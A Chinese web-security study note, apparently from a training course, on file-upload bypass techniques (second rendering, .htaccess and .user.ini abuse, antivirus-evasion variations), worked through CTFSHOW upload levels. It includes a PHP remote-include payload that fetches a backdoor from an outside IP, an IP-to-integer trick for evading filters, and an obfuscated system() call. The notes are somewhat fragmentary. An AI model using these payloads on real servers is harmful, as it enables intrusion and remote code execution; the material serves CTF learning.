小迪安全笔记-32
小迪安全笔记-32
Kn1ght第32天:WEB攻防-通用漏洞_文件上传_二次渲染_.htaccess_变异免杀
知识点
1 、文件上传 - 二次渲染
2 、文件上传 - 简单免杀变异
3 、文件上传 -.htaccess 妙用
4 、文件上传 -PHP 语言特性
前置知识
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码 ( 解析漏洞除外 )
如: jpg 图片里面有 php 后门代码,不能被触发,所以连接不上后门
如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还 有.user.ini&.htaccess
.htaccess文件只能用于apahce,不能用于iis和nginx等中间件
.user.ini只能用于Server API为FastCGI模式下,而正常情况下apache不是运行在此模块下的。
文件二次渲染
1 、判断上传前和上传后的文件大小及内容
2 、判断上传后的文件返回数据包内容
CTFSHOW-文件上传-162 到 170 关卡
例题
162 突破.过滤
过滤 . () {} ; 等
解题思路:通过.user.ini包含png文件,png文件包含远程可执行文件
=include'http://82.156.153.203/index.txt'?%3E 将后门代码写在index.txt文件里面,但是 .号也被过滤了,显然这样是不行的,这里我们要将IP地址转换成数字,这样就不存在 .了 在线ip地址转换:https://www.bejson.com/convert/ip2int/#google_vignette 利用远程包含 IP 转换地址后调用执行1 | .user.ini :GIF89a auto_prepend_file=png |
1 |
|
1 |
|
1 | 直接上传 zip 后修改代码 |
1 | $a='syste';$b='m';$c=$a.$b;$c('tac ../flag.php'); |